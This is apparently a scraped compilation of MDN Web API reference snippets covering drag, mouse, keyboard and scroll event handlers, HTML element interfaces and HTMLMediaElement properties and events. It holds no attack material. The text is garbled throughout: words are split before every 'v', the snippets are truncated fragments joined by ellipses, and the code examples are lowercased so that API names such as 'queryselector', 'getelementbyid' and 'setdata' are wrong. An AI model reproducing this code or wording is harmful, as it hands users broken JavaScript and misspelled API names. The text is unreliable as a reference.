... ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html li
ving standardthe definition of 'ondrag' in that specification.
... li
ving standard html 5.1the definition of 'ondrag' in that specification.
GlobalEventHandlers.ondragover - Web APIs
<!doctype html> <html lang=en> <title>examples of using the ondrag global event attribute</title> <meta content="width=de
vice-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.
... ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html li
ving standardthe definition of 'ondragover' in that specification.
... li
ving standard html 5.1the definition of 'ondragover' in that specification.
GlobalEventHandlers.ondragstart - Web APIs
<!doctype html> <html lang=en> <title>examples of using the ondrag global event attribute</title> <meta content="width=de
vice-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.
... ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html li
ving standardthe definition of 'ondragstart' in that specification.
... li
ving standard html 5.1the definition of 'ondragstart' in that specification.
GlobalEventHandlers.ondrop - Web APIs
<!doctype html> <html lang=en> <title>examples of using the ondrag global event attribute</title> <meta content="width=de
vice-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { console.
... ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html li
ving standardthe definition of 'ondrop' in that specification.
... li
ving standard html 5.1the definition of 'ondrop' in that specification.
GlobalEventHandlers.onkeyup - Web APIs
the keyup event fires when the user releases a key that was pre
viously pressed.
... html <input> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.onkeyup = logkey; function logkey(e) { log.textcontent += ` ${e.code}`; } result specifications specification status comment html li
ving standardthe definition of 'onkeyup' in that specification.
... li
ving standard ...
GlobalEventHandlers.onmousedown - Web APIs
html <div class="container"> <div class="
view" hidden></div> <img src="https://udn.realityripple.com/samples/90/a34a525ace.jpg"> </div> css .container { width: 320px; height: 213px; background: black; } .
view { position: absolute; width: 100px; height: 100px; background: white; border-radius: 50%; } img { mix-blend-mode: darken; } javascript function show
view(event) {
view.removeattribute('hidden');
view.style...
....left = event.clientx - 50 + 'px';
view.style.top = event.clienty - 50 + 'px'; event.preventdefault(); } function move
view(event) {
view.style.left = event.clientx - 50 + 'px';
view.style.top = event.clienty - 50 + 'px'; } function hide
view(event) {
view.setattribute('hidden', ''); } const container = document.queryselector('.container'); const
view = document.queryselector('.
view'); container.onmousedown = show
view; container.onmousemove = move
view; document.onmouseup = hide
view; result specification specification status comment html li
ving standardthe definition of 'onmousedown' in that specification.
... li
ving standard ...
GlobalEventHandlers.onmouseenter - Web APIs
the mouseenter event is fired when a pointing de
vice (usually a mouse) is moved over the element that has the listener attached.
... specification specification status comment html li
ving standardthe definition of 'onmouseenter' in that specification.
... li
ving standard ...
GlobalEventHandlers.onmouseleave - Web APIs
the mouseleave event is fired when a pointing de
vice (usually a mouse) is moved off the element that has the listener attached.
... specification specification status comment html li
ving standardthe definition of 'onmouseleave' in that specification.
... li
ving standard ...
GlobalEventHandlers.onmousemove - Web APIs
this.hide = function() { node.setattribute('hidden', ''); }; })(); const links = document.queryselectorall('a'); links.foreach(link => { link.onmouseover = tooltip.show; link.onmousemove = tooltip.follow; link.onmouseout = tooltip.hide; }); result draggable elements we also have an example available showing the use of the onmousemove event handler with draggable objects —
view the example in action.
... specifications specification status comment html li
ving standardthe definition of 'onmousemove' in that specification.
... li
ving standard ...
GlobalEventHandlers.onmouseout - Web APIs
try mo
ving your mouse over and out of the element.
... html <p>test your mouse on me!</p> javascript const p = document.queryselector('p'); p.onmouseover = logmouseover; p.onmouseout = logmouseout; function logmouseover() { p.innerhtml = 'mouse over detected'; } function logmouseout() { p.innerhtml = 'mouse out detected'; } result specification specification status comment html li
ving standardthe definition of 'onmouseout' in that specification.
... li
ving standard ...
GlobalEventHandlers.onmouseover - Web APIs
try mo
ving your mouse over and out of the element.
... html <p>test your mouse on me!</p> javascript const p = document.queryselector('p'); p.onmouseover = logmouseover; p.onmouseout = logmouseout; function logmouseover() { p.innerhtml = 'mouse over detected'; } function logmouseout() { p.innerhtml = 'mouse out detected'; } result specifications specification status comment html li
ving standardthe definition of 'onmouseover' in that specification.
... li
ving standard ...
GlobalEventHandlers.onplay - Web APIs
example <p>this example demonstrates how to assign an "onplay" event to a
video element.</p> <
video controls onplay="alertplay()"> <source src="mov_bbb.mp4" type="
video/mp4"> <source src="mov_bbb.ogg" type="
video/ogg"> your browser does not support html5
video.
... </
video> <p>
video courtesy of <a href="http://www.bigbuckbunny.org/" target="_blank">big buck bunny</a>.</p> <script> function alertplay() { alert("the
video has started to play."); } </script> specification specification status comment html li
ving standardthe definition of 'onplay' in that specification.
... li
ving standard ...
GlobalEventHandlers.onplaying - Web APIs
the playing event is fired when playback is ready to start after ha
ving been paused or delayed due to lack of media data.
... specification specification status comment html li
ving standardthe definition of 'onplaying' in that specification.
... li
ving standard ...
GlobalEventHandlers.onpointerdown - Web APIs
the globaleventhandlers event handler onpointerdown is used to specify the event handler for the pointerdown event, which is fired when the pointing de
vice is initially pressed.
... this is functionally equivalent to the mousedown event when generated due to user acti
vity with a mouse or mouse-compatible de
vice.
... the handledown() function, in turn, looks at the value of pointertype to determine what kind of pointing de
vice was used, then uses that information to customize a string to replace the contents of the target box.
GlobalEventHandlers.onscroll - Web APIs
the scroll event fires when the document
view or an element has been scrolled, whether by the user, a web api, or the user agent.
...og"></p> css textarea { width: 4rem; height: 8rem; font-size: 3rem; } javascript const textarea = document.queryselector('textarea'); const log = document.getelementbyid('log'); textarea.onscroll = logscroll; function logscroll(e) { log.textcontent = `scroll position: ${e.target.scrolltop}`; } result specifications specification status comment html li
ving standardthe definition of 'onscroll' in that specification.
... li
ving standard document object model (dom) level 3 events specificationthe definition of 'onscroll' in that specification.
HTMLBRElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><l...
... specifications specification status comment html li
ving standardthe definition of 'htmlbrelement' in that specification.
... li
ving standard no change from html5 html5the definition of 'htmlbrelement' in that specification.
HTMLBaseElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="1...
... specifications specification status comment html li
ving standardthe definition of 'htmlbaseelement' in that specification.
... li
ving standard html 5.1the definition of 'htmlbaseelement' in that specification.
HTMLCanvasElement.height - Web APIs
syntax var pxl = canvas.height; canvas.height = pxl; examples given this <canvas> element: <canvas id="canvas" width="300" height="300"></canvas> you can get the height of the canvas with the following code: var canvas = document.getelementbyid('canvas'); console.log(canvas.height); // 300 specifications specification status comment html li
ving standardthe definition of 'htmlcanvaselement.height' in that specification.
... li
ving standard no change since the latest snapshot, html5 html 5.1the definition of 'htmlcanvaselement.height' in that specification.
... recommendation snapshot of the html li
ving standard containing the initial definition.
HTMLCanvasElement.toBlob() - Web APIs
( function() { console.log('successfully wrote file'); }, function() { console.log('failure writing file') } ); }; r.readasarraybuffer(b); } } canvas.toblob(blobcallback('passthisstring'), 'image/vnd.microsoft.icon', '-moz-parse-options:format=bmp;bpp=32'); specifications specification status comment html li
ving standardthe definition of 'htmlcanvaselement.toblob' in that specification.
... li
ving standard no change since the latest snapshot, html5 html 5.1the definition of 'htmlcanvaselement.toblob' in that specification.
... recommendation snapshot of the html li
ving standard containing the initial definition.
HTMLCanvasElement.width - Web APIs
syntax var pxl = canvas.width; canvas.width = pxl; examples given this <canvas> element: <canvas id="canvas" width="300" height="300"></canvas> you can get the width of the canvas with the following code: var canvas = document.getelementbyid('canvas'); console.log(canvas.width); // 300 specifications specification status comment html li
ving standardthe definition of 'htmlcanvaselement.width' in that specification.
... li
ving standard no change since the latest snapshot, html5 html 5.1the definition of 'htmlcanvaselement.width' in that specification.
... recommendation snapshot of the html li
ving standard containing the initial definition.
HTMLDetailsElement - Web APIs
the htmldetailselement interface pro
vides special properties (beyond the regular htmlelement interface it also has available to it by inheritance) for manipulating <details> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/htmldetailselement" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldetailselement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
... specifications specification status comment html li
ving standardthe definition of 'htmldetailselement' in that specification.
HTMLDialogElement.returnValue - Web APIs
examples the following example displays a button to open a <dialog> containing a form
via the showmodal() method.
... specifications specification status comment html li
ving standardthe definition of 'returnvalue' in that specification.
... li
ving standard html 5.1the definition of 'returnvalue' in that specification.
HTMLDocument - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="1...
... specifications html li
ving standardthe definition of 'htmldocument' in that specification.
... li
ving standard turn the htmldocument interface into a document extension.
accessKeyLabel - Web APIs
itle += ' [' + node.accesskeylabel + ']'; } else { node.title += ' [' + node.accesskey + ']'; } node.onclick = function () { var p = document.createelement('p'); p.textcontent = 'clicked!'; node.parentnode.appendchild(p); }; html <button accesskey="h" title="caption" id="btn1">hover me</button> result specifications specification status comment html li
ving standardthe definition of 'htmlelement.accesskeylabel' in that specification.
... li
ving standard no change from initial definition.
... recommendation snapshot of html li
ving standard, initial definition.
HTMLElement.dir - Web APIs
chrome and safari pro
vide a directionality option in the contextual menu of input fields while internet explorer and edge use the key combinations ctrl + left shift and ctrl + right shift.
... example var parg = document.getelementbyid("para1"); parg.dir = "rtl"; // change the text direction on a paragraph identified as "para1" specifications specification status comment html li
ving standardthe definition of 'dir' in that specification.
... li
ving standard no change from document object model (dom) level 2 html specification.
HTMLElement.innerText - Web APIs
if the element itself is not being rendered (e.g detached from the document or is hidden from
view), the returned value is the same as the node.textcontent property.
...ly>...</textarea> javascript const source = document.getelementbyid("source"); const textcontentoutput = document.getelementbyid("textcontentoutput"); const innertextoutput = document.getelementbyid("innertextoutput"); textcontentoutput.value = source.textcontent; innertextoutput.value = source.innertext; result specification specification status comment html li
ving standardthe definition of 'innertext' in that specification.
... li
ving standard introduced, based on the draft of the innertext specification.
HTMLElement.offsetHeight - Web APIs
however, non-scrollable elements may have large offsetheight values, much larger than the
visible content.
... these elements are typically contained within scrollable elements; consequently, these non-scrollable elements may be completely or partly in
visible, depending on the scrolltop setting of the scrollable container.
... specification specification status comment css object model (cssom)
view modulethe definition of 'offsetheight' in that specification.
HTMLElement.offsetParent - Web APIs
specification specification status comment css object model (cssom)
view modulethe definition of 'offsetparent' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoffsetparentchrome full support 1edge full support 12firefox full support 1ie full support 8opera full support 8safari full support ...
... 3web
view android full support 1chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1samsung internet android full support 1.0legend full support full support ...
HTMLFormControlsCollection.namedItem() - Web APIs
example html <form> <input id="my-form-control" type="textarea"> </form> javascript // returns the htmlinputelement representing #my-form-control elem1 = document.forms[0]['my-form-control']; specifications specification status comment html li
ving standardthe definition of 'htmlformcontrolscollection.nameditem()' in that specification.
... li
ving standard html5the definition of 'htmlformcontrolscollection' in that specification.
... recommendation in this snapshot of html li
ving standard, the htmlformcontrolscollections is defined for the first time.
HTMLFormElement.requestSubmit() - Web APIs
usage notes the ob
vious question is: why does this method exist, when we've had the submit() method since the dawn of time?
... let myform = document.queryselector("form"); let submitbutton = myform.queryselector("#main-submit"); if (myform.requestsubmit) { if (submitbutton) { myform.requestsubmit(submitbutton); } else { myform.requestsubmit(); } } else { myform.submit(); } specifications specification status comment html li
ving standardthe definition of 'requestsubmit()' in that specification.
... li
ving standard ...
HTMLHeadElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="...
... specifications specification status comment html li
ving standardthe definition of 'htmlheadelement' in that specification.
... li
ving standard html 5.1the definition of 'htmlheadelement' in that specification.
HTMLHeadingElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="...
... specifications specification status comment html li
ving standardthe definition of 'htmlheadingelement' in that specification.
... li
ving standard html5the definition of 'htmlheadingelement' in that specification.
HTMLHtmlElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="...
... specifications specification status comment html li
ving standardthe definition of 'htmlhtmlelement' in that specification.
... li
ving standard html 5.1the definition of 'htmlhtmlelement' in that specification.
HTMLHyperlinkElementUtils.search - Web APIs
modern browsers pro
vide urlsearchparams and url.searchparams to make it easy to parse out the parameters from the querystring.
...developer.mozilla.org/docs/htmlhyperlinkelementutils.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html li
ving standardthe definition of 'htmlhyperlinkelementutils.search' in that specification.
... li
ving standard initial definition.
HTMLImageElement.decoding - Web APIs
examples var img = new image(); img.decoding = 'sync'; img.src = 'img/logo.png'; specifications specification status comment html li
ving standardthe definition of 'decoding' in that specification.
... li
ving standard browser compatibility the compatibility table on this page is generated from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdecodingchrome full support 65edge full support ≤79firefox full support 63ie no support noopera full support yessafari full support 11.1web
view android full support 65chrome android ...
HTMLImageElement.x - Web APIs
group1 { background-color: #d7d9f2; } table { border-collapse: collapse; border: 2px solid rgb(100, 100, 100); font-family: sans-serif; } td, th { border: 1px solid rgb(100, 100, 100); padding: 10px 14px; } td > img { max-width: 4em; } result the resulting table looks like this: specifications specification status comment css object model (cssom)
view modulethe definition of 'htmlimageelement.x' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetxchrome full support 1edge full support 12firefox full support 14 full support 14 no support ?
... — 7ie no support noopera full support yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android full support 14 full support 14 no support ?
HTMLImageElement.y - Web APIs
group1 { background-color: #d7d9f2; } table { border-collapse: collapse; border: 2px solid rgb(100, 100, 100); font-family: sans-serif; } td, th { border: 1px solid rgb(100, 100, 100); padding: 10px 14px; } td > img { max-width: 4em; } result the resulting table looks like this: specifications specification status comment css object model (cssom)
view modulethe definition of 'htmlimageelement.y' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetychrome full support 1edge full support 12firefox full support 14 full support 14 no support ?
... — 7ie no support noopera full support yessafari full support yesweb
view android full support yeschrome android full support yesfirefox android full support 14 full support 14 no support ?
HTMLInputElement.stepDown() - Web APIs
example click the button in this example to increment the number input type: html <p> <label>enter a number between 0 and 400 that is di
visible by 5: <input type="number" step="5" id="thenumber" min="0" max="400"> </label> </p> <p> <label>enter how many values of step you would like to increment by or leave it blank: <input type="number" step="1" id="decrementer" min="-2" max="15"> </label> </p> <input type="button" value="decrement" id="thebutton"> javascript /* make the button call the function */ let button = docum...
... specifications specification status comment html li
ving standardthe definition of 'stepdown()' in that specification.
... li
ving standard html 5.1the definition of 'stepdown()' in that specification.
HTMLInputElement.stepUp() - Web APIs
example click the button in this example to increment the number input type: html <p> <label>enter a number between 0 and 400 that is di
visible by 5: <input type="number" step="5" id="thenumber" min="0" max="400"> </label> </p> <p> <label>enter how many values of step you would like to increment by or leave it blank: <input type="number" step="1" id="incrementer" min="0" max="25"> </label> </p> <input type="button" value="increment" id="thebutton"> javascript /* make the button call the function */ let button = docume...
... specifications specification status comment html li
ving standardthe definition of 'stepup()' in that specification.
... li
ving standard html 5.1the definition of 'stepup()' in that specification.
HTMLInputElement.webkitdirectory - Web APIs
note: the beha
vior of webkitrelativepath is different in chromium < 72.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwebkitdirectory non-standardchrome full support 13edge full support 13firefox full support 50ie no support noopera no s...
...upport nosafari full support 11.1web
view android full support yeschrome android full support yesfirefox android full support 50opera android no support nosafari ios full support 11.3samsung internet android full support yeslegend full support full support no support no supportnon-standard.
HTMLLabelElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 ...
... specifications specification status comment html li
ving standardthe definition of 'htmllabelelement' in that specification.
... li
ving standard html5the definition of 'htmllabelelement' in that specification.
HTMLLegendElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25...
... specifications specification status comment html li
ving standardthe definition of 'htmllegendelement' in that specification.
... li
ving standard html 5.1the definition of 'htmllegendelement' in that specification.
HTMLMediaElement.controls - Web APIs
syntax var ctrls =
video.controls; audio.controls = true; value a boolean.
... example var obj = document.createelement('
video'); obj.controls = true; specifications specification status comment html li
ving standardthe definition of 'htmlmediaelement.controls' in that specification.
... li
ving standard no change from html5 html5the definition of 'htmlmediaelement.controls' in that specification.
HTMLMediaElement.currentSrc - Web APIs
syntax var mediaurl = audioobject.currentsrc; value a domstring object containing the absolute url of the chosen media source; this may be an empty string if networkstate is empty; otherwise, it will be one of the resources listed by the htmlsourceelement contained within the media element, or the value or src if no <source> element is pro
vided.
... example var obj = document.createelement('
video'); console.log(obj.currentsrc); // "" specifications specification status comment html li
ving standardthe definition of 'htmlmediaelement.currentsrc' in that specification.
... li
ving standard no change from html5 html5the definition of 'htmlmediaelement.currentsrc' in that specification.
HTMLMediaElement.currentTime - Web APIs
example var
video = document.createelement('
video'); console.log(
video.currenttime); usage notes reduced time precision to offer protection against timing attacks and fingerprinting, browsers may round or otherwise adjust the value returned by currenttime.
... specifications specification status comment html li
ving standardthe definition of 'htmlmediaelement.currenttime' in that specification.
... li
ving standard no change from html5 html5the definition of 'htmlmediaelement.currenttime' in that specification.
HTMLMediaElement.defaultMuted - Web APIs
syntax var dmuted =
video.defaultmuted; audio.defaultmuted = true; value a boolean.
... example var
videoele = document.createelement('
video');
videoele.defaultmuted = true; console.log(
videoele.outerhtml); // <
video muted=""></
video> specifications specification status comment html li
ving standardthe definition of 'htmlmediaelement.defaultmuted' in that specification.
... li
ving standard no change from html5 html5the definition of 'htmlmediaelement.defaultmuted' in that specification.
HTMLMediaElement.defaultPlaybackRate - Web APIs
syntax var dspeed =
video.defaultplaybackrate; audio.defaultplaybackrate = 1.0; value a double.
... example var obj = document.createelement('
video'); console.log(obj.defaultplaybackrate); // 1 specifications specification status comment html li
ving standardthe definition of 'htmlmediaelement.defaultplaybackrate' in that specification.
... li
ving standard no change from html5 html5the definition of 'htmlmediaelement.defaultplaybackrate' in that specification.
HTMLMediaElement: durationchange event - Web APIs
using addeventlistener(): const
video = document.queryselector('
video');
video.addeventlistener('durationchange', (event) => { console.log('not sure why, but the duration of the
video has changed.'); }); using the ondurationchange event handler property: const
video = document.queryselector('
video');
video.ondurationchange = (event) => { console.log('not sure why, but the duration of the
video has changed.'); }; specifica...
...tions specification status html li
ving standardthe definition of 'durationchange media event' in that specification.
... li
ving standard html5the definition of 'durationchange media event' in that specification.
HTMLMediaElement.error - Web APIs
example this example establishes a
video element and adds an error handler to it; the error handler simply logs the details to console.
... var
videoelement = document.createelement('
video');
videoelement.onerror = function() { console.log("error " +
videoelement.error.code + "; details: " +
videoelement.error.message); }
videoelement.src = "https://example.com/bogus
video.mp4"; specifications specification status comment html li
ving standardthe definition of 'htmlmediaelement.error' in that specification.
... li
ving standard html5the definition of 'htmlmediaelement.error' in that specification.
HTMLMediaElement.fastSeek() - Web APIs
example this example quickly seeks to 20-second position of the
video element.
... let my
video = document.getelementbyid("my
videoelement"); my
video.fastseek(20); specifications specification status comment html li
ving standardthe definition of 'fastseek()' in that specification.
... li
ving standard initial definition; li
ving specification.
HTMLMediaElement.loop - Web APIs
syntax var loop =
video.loop; audio.loop = true; value a boolean.
... example var obj = document.createelement('
video'); obj.loop = true; // true specifications specification status comment html li
ving standardthe definition of 'htmlmediaelement.loop' in that specification.
... li
ving standard html5the definition of 'htmlmediaelement.loop' in that specification.
HTMLMediaElement.muted - Web APIs
syntax var ismuted = audioor
video.muted audio.muted = true; value a boolean.
... example var obj = document.createelement('
video'); console.log(obj.muted); // false specifications specification status comment html li
ving standardthe definition of 'htmlmediaelement.muted' in that specification.
... li
ving standard html5the definition of 'htmlmediaelement.muted' in that specification.
HTMLMediaElement.networkState - Web APIs
syntax var networkstate = audioor
video.networkstate; value an unsigned short.
... } }); specifications specification status comment html li
ving standardthe definition of 'htmlmediaelement.networkstate' in that specification.
... li
ving standard html5the definition of 'htmlmediaelement.networkstate' in that specification.
HTMLMediaElement.onencrypted - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="1...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonencryptedchrome full support yesedge full support 13firefox full support yesie ?
... web
view android ?
HTMLMediaElement.onwaitingforkey - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-20 0 700 60" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="1...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonwaitingforkeychrome full support 55edge full support 79firefox full support yesie ?
... web
view android full support 55chrome android full support 55firefox android ?
HTMLMediaElement.paused - Web APIs
syntax var ispaused = audioor
video.paused value a boolean.
... example var obj = document.createelement('
video'); console.log(obj.paused); // true specifications specification status comment html li
ving standardthe definition of 'htmlmediaelement.paused' in that specification.
... li
ving standard html5the definition of 'htmlmediaelement.paused' in that specification.
HTMLMediaElement.playbackRate - Web APIs
syntax //
video
video.playbackrate = 1.5; // audio audio.playbackrate = 1.0; value a double.
...(default: 1.0) example var obj = document.createelement('
video'); console.log(obj.playbackrate); // expected output: 1 specifications specification status comment html li
ving standardthe definition of 'htmlmediaelement.playbackrate' in that specification.
... li
ving standard html5the definition of 'htmlmediaelement.playbackrate' in that specification.
HTMLMediaElement: playing event - Web APIs
the playing event is fired when playback is ready to start after ha
ving been paused or delayed due to lack of data.
... using addeventlistener(): const
video = document.queryselector('
video');
video.addeventlistener('playing', (event) => { console.log('
video is no longer paused'); }); using the onplaying event handler property: const
video = document.queryselector('
video');
video.onplaying = (event) => { console.log('
video is no longer paused.'); }; specifications specification status html li
ving standardthe defin...
... li
ving standard html5the definition of 'playing media event' in that specification.
HTMLMediaElement.seekable - Web APIs
syntax var seekable = audioor
video.seekable; value a timeranges object.
... examples var
video = document.queryselector("
video"); var timerangesobject =
video.seekable; var timeranges = []; //go through the object and output an array for (let count = 0; count < timerangesobject.length; count ++) { timeranges.push([timerangesobject.start(count), timerangesobject.end(count)]); } specifications specification status comment html li
ving standardthe definition of 'htmlmediaelement' in that specification.
... li
ving standard no change from html5 html5the definition of 'htmlmediaelement' in that specification.
HTMLMediaElement: seeked event - Web APIs
using addeventlistener(): const
video = document.queryselector('
video');
video.addeventlistener('seeked', (event) => { console.log('
video found the playback position it was looking for.'); }); using the onseeked event handler property: const
video = document.queryselector('
video');
video.onseeked = (event) => { console.log('
video found the playback position it was looking for.'); }; specifications specification ...
... status html li
ving standardthe definition of 'seeked media event' in that specification.
... li
ving standard html5the definition of 'seeked media event' in that specification.
